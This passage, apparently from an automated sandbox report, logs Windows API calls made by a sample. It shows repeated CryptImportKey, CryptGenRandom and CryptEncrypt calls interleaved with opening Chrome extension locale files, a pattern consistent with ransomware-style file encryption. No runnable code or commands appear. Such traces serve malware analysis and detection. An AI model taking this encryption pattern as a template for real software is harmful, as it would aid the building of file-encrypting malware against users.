dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785408) returned 1 [0244.656] CryptGetKeyParam (in: hKey=0x6785408, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.656] CryptEncrypt (in: hKey=0x6785408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc400000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc400000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.657] GetLastError () returned 0x0 [0244.657] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.657] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.659] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785448) returned 1 [0244.659] CryptGetKeyParam (in: hKey=0x6785448, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.659] CryptEncrypt (in: hKey=0x6785448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc410000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc410000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.659] GetLastError () returned 0x0 [0244.659] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.659] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.660] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.663] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.665] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.665] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.665] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.665] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.667] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.669] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.669] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.669] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.669] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.671] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785488) returned 1 [0244.671] CryptGetKeyParam (in: hKey=0x6785488, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.671] CryptEncrypt (in: hKey=0x6785488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc420000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc420000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.671] GetLastError () returned 0x0 [0244.671] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.671] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0244.673] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67855c8) returned 1 [0244.673] CryptGetKeyParam (in: hKey=0x67855c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.673] CryptEncrypt (in: hKey=0x67855c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc430000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc430000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.673] GetLastError () returned 0x0 [0244.673] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.673] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.675] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.677] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.679] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.679] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.679] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.679] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.682] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.683] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.683] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.683] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.684] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.686] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785648) returned 1 [0244.686] CryptGetKeyParam (in: hKey=0x6785648, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.686] CryptEncrypt (in: hKey=0x6785648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc440000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc440000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.686] GetLastError () returned 0x0 [0244.686] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.686] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.688] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785688) returned 1 [0244.688] CryptGetKeyParam (in: hKey=0x6785688, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.688] CryptEncrypt (in: hKey=0x6785688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc450000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc450000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.688] GetLastError () returned 0x0 [0244.688] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.688] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.690] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.693] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.695] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.695] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.695] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.695] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0244.698] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.699] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.699] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.699] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.700] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.702] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785948) returned 1 [0244.702] CryptGetKeyParam (in: hKey=0x6785948, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.702] CryptEncrypt (in: hKey=0x6785948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc460000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc460000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.702] GetLastError () returned 0x0 [0244.702] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.702] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.704] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785d08) returned 1 [0244.704] CryptGetKeyParam (in: hKey=0x6785d08, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.704] CryptEncrypt (in: hKey=0x6785d08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc470000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc470000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.704] GetLastError () returned 0x0 [0244.704] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.704] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.706] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.709] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.711] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.711] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.711] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.711] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.714] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.716] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.716] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.716] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.716] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.718] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785b88) returned 1 [0244.718] CryptGetKeyParam (in: hKey=0x6785b88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.718] CryptEncrypt (in: hKey=0x6785b88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc480000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc480000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.718] GetLastError () returned 0x0 [0244.718] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.718] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.720] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785a08) returned 1 [0244.720] CryptGetKeyParam (in: hKey=0x6785a08, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.720] CryptEncrypt (in: hKey=0x6785a08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc490000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc490000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.721] GetLastError () returned 0x0 [0244.721] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.721] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.722] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.725] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.727] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.727] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.727] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.727] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.730] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.732] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.732] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.732] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.732] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.735] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785d48) returned 1 [0244.735] CryptGetKeyParam (in: hKey=0x6785d48, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.735] CryptEncrypt (in: hKey=0x6785d48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc4a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc4a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.736] GetLastError () returned 0x0 [0244.736] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.736] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.738] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785f08) returned 1 [0244.738] CryptGetKeyParam (in: hKey=0x6785f08, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.738] CryptEncrypt (in: hKey=0x6785f08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc4b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc4b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.738] GetLastError () returned 0x0 [0244.738] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.738] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.739] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.743] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.745] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.745] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.745] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.745] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.748] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.749] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.749] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.749] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.750] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.752] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785c48) returned 1 [0244.752] CryptGetKeyParam (in: hKey=0x6785c48, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.752] CryptEncrypt (in: hKey=0x6785c48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc4c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc4c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.752] GetLastError () returned 0x0 [0244.752] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.752] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.754] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785f48) returned 1 [0244.754] CryptGetKeyParam (in: hKey=0x6785f48, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.754] CryptEncrypt (in: hKey=0x6785f48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc4d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc4d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.754] GetLastError () returned 0x0 [0244.754] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.755] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.755] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.758] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.760] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.760] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.760] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.760] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.763] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.765] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.765] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.765] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.765] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.767] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785c88) returned 1 [0244.768] CryptGetKeyParam (in: hKey=0x6785c88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.768] CryptEncrypt (in: hKey=0x6785c88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc4e0000*, pdwDataLen=0x285cc0c*=0xc8, 